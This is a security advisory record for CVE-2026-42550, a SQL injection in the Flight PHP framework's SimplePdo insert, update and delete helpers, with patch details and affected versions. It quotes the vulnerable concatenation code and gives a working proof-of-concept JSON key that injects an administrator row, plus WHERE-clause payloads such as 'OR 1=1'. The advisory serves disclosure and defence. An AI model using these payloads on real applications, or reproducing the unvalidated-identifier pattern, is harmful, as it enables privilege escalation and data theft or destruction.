{"id":"GHSA-xwqr-rcqg-22mr","aliases":["CVE-2026-42550"],"title":"Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete","description":"### Summary\n`SimplePdo::insert()`, `SimplePdo::update()`, and `SimplePdo::delete()` build SQL statements by concatenating the `$table` argument and the **keys** of the `$data` array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. `$db->insert('users', $request->data->getData())` — an attacker can inject arbitrary SQL by crafting malicious array keys.\n\n### Affected code\n`flight/database/SimplePdo.php`:\n\n```php\n// insert (≈ 320-373)\n$sql = sprintf(\n    \"INSERT INTO %s (%s) VALUES (%s)\",\n    $table,                            // raw concat\n    implode(', ', $columns),           // raw array_keys($data)\n    implode(', ', $placeholders)\n);\n\n// update (≈ 397-409)\n$sets[] = \"$column = ?\";               // $column = user-controlled key\n$sql = sprintf(\n    \"UPDATE %s SET %s WHERE %s\",\n    $table,                            // raw\n    implode(', ', $sets),\n    $where\n);\n\n// delete (≈ 427-429)\n$sql = \"DELETE FROM $table WHERE $where\";\n```\n\nNo identifier-quoting helper exists; neither `$table` nor the data keys are validated against a safe-identifier pattern.\n\n### Proof of concept\nA controller does:\n```php\n$db->insert('users', $request->data->getData());\n```\n\nThe attacker sends the JSON body:\n```json\n{\"name, is_admin) VALUES (?, 1);-- \": \"attacker_injected\"}\n```\n\nGenerated SQL:\n```sql\nINSERT INTO users (name, is_admin) VALUES (?, 1);-- ) VALUES (?)\n```\n\nAfter the `--` comment, the effective statement `INSERT INTO users (name, is_admin) VALUES (?, 1)` binds the single placeholder `'attacker_injected'`, yielding a row with `is_admin = 1`.\n\nReproduced live on an in-memory sqlite database (`testproj/sqli_live2.php`):\n\n```\nid=1  name=alice              is_admin=0\nid=2  name=attacker_injected  is_admin=1   <-- injected insert\n```\n\n`UPDATE` injection via the `$where` parameter was also reproduced: `$db->update('users', ['is_admin' => 1], \"id = 1 OR 1=1\")` flips admin on every row.\n\n### Impact\n- **Privilege escalation** on any signup / register endpoint that forwards request data to `insert()` (attacker creates an administrative account in a single request).\n- Arbitrary column write through `update()` keys.\n- Data destruction and exfiltration through the `$where` parameter (`DELETE FROM users WHERE 1=1`, UNION-based exfil, etc.).\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\nA new `requireSafeIdentifier()` helper validates table names and column names against `^[A-Za-z_][A-Za-z0-9_]*$` before they are interpolated into the SQL string. The `$where` parameter remains raw SQL as documented — parameterized values passed alongside it continue to be bound safely.\n\n### Credit\nDiscovered by **@Rootingg**.","severity":"high","score":8.8,"published":"2026-05-06T21:35:55.000Z","modified":"2026-05-14T20:47:45.427Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"flightphp/core","ranges":[{"events":[{"introduced":"0"},{"fixed":"3.18.1"}],"type":"ECOSYSTEM"}],"versions":["v1.0","v1.1","v1.1.10","v1.1.5","v1.2","v1.2.13","v1.2.14","v1.2.15","v1.2.17","v1.2.18","v1.2.19","v1.2.20","v1.2.21","v1.2.22","v1.3.0","v1.3.1","v1.3.2","v1.3.3","v1.3.4","v1.3.5","v1.3.7","v1.3.8","v1.3.9","v2.0.0","v2.0.1","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.10.0","v3.10.1","v3.11.0","v3.11.1","v3.12.0","v3.13.0","v3.13.1","v3.14.0","v3.15.0","v3.15.1","v3.15.2","v3.15.3","v3.16.0","v3.16.1","v3.17.0","v3.17.1","v3.17.2","v3.17.3","v3.17.4","v3.18.0","v3.2.0","v3.3.0","v3.4.0","v3.4.1","v3.4.2","v3.5.0","v3.5.2","v3.5.3","v3.6.0","v3.6.1","v3.6.2","v3.7.0","v3.7.1","v3.7.2","v3.8.0","v3.8.1","v3.9.0"],"fixed":["3.18.1"]}],"references":["https://github.com/flightphp/core/security/advisories/GHSA-xwqr-rcqg-22mr","https://nvd.nist.gov/vuln/detail/CVE-2026-42550","https://github.com/flightphp/core/commit/b8dd23aaa828cb289fa3c84e75b2a3717cab50b0","https://github.com/flightphp/core","https://github.com/flightphp/core/releases/tag/v3.18.1"],"sources":[{"name":"OSV","id":"GHSA-xwqr-rcqg-22mr","modified":"2026-05-14T20:47:45.427852Z","url":"https://osv.dev/vulnerability/GHSA-xwqr-rcqg-22mr"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8}]}